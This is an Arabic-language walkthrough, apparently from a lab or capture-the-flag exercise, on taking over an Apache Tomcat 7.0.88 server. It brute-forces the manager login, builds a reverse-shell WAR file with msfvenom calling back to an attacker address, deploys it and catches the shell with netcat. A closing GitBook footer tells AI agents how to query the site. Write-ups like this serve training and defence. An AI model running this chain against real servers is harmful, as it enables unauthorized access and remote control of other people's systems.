> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# ملف WAR الخاص بـ Tomcat

المنفذ 8080 يستضيف **أباتشي تومكات**. `whatweb` يحدّد الإصدار **7.0.88**، والمعروف أنه قابل للاستغلال.

<div data-full-width="true"><figure><img src="/files/3f6c22a7822afffea0d90768c76420fe4cdd2a07" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/16dd36d36ed5d40e74a6ceb8b22af91d0956322b" alt=""><figcaption></figcaption></figure>

### تسريب معلومات

**تسجيل دخول لوحة الإدارة**

<figure><img src="/files/4743c1c64a131d89f6100436c150378deefbc31f" alt=""><figcaption></figcaption></figure>

حاول الوصول إلى `/manager/html` باستخدام بيانات الاعتماد الافتراضية مثل `admin:admin`، لكنه يفشل.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**هجوم التخمين القسري لبيانات الاعتماد**

استخدم قائمة SecLists `tomcat-betterdefaultpasslist.txt` لإجراء التخمين القسري على بيانات الاعتماد:

استخدم سكربت بايثون لأتمتة هذه المهمة:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**النتيجة:** بيانات الاعتماد الصحيحة هي:/ `tomcat:s3cret`

<figure><img src="/files/d9b9d87b448ee2a302e963344e0c143d1f2345ed" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b31fc83eb0a407fa46aaf7f3072ff0651d0ce827" alt=""><figcaption></figcaption></figure>

### ثغرة تومكات:

**1. إنشاء ملف WAR:**/ استخدم `msfvenom` لإنشاء ملف WAR يحتوي على شل عكسي:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/592a9a7a0eed13b5b5cd526e2fdcc09633816d8d" alt=""><figcaption></figcaption></figure>

**2. النشر عبر مدير تومكات:**/ قم بتحميل ملف WAR عبر `/manager/html`.

<figure><img src="/files/90e2474afe3b1449789c12a46f4a0cec0aac86fb" alt="" width="563"><figcaption></figcaption></figure>

**3. مستمع الشل العكسي:**/ قم بإعداد مستمع لالتقاط الاتصال العكسي:

```bash
rlwrap nc -nlvp 443
```

استدعاء الملف المنشور (`/reverse`) يوفّر شلًا تفاعليًا على الهدف.

<figure><img src="/files/266a39830f4116763e41c5474b7fe5c178add39f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
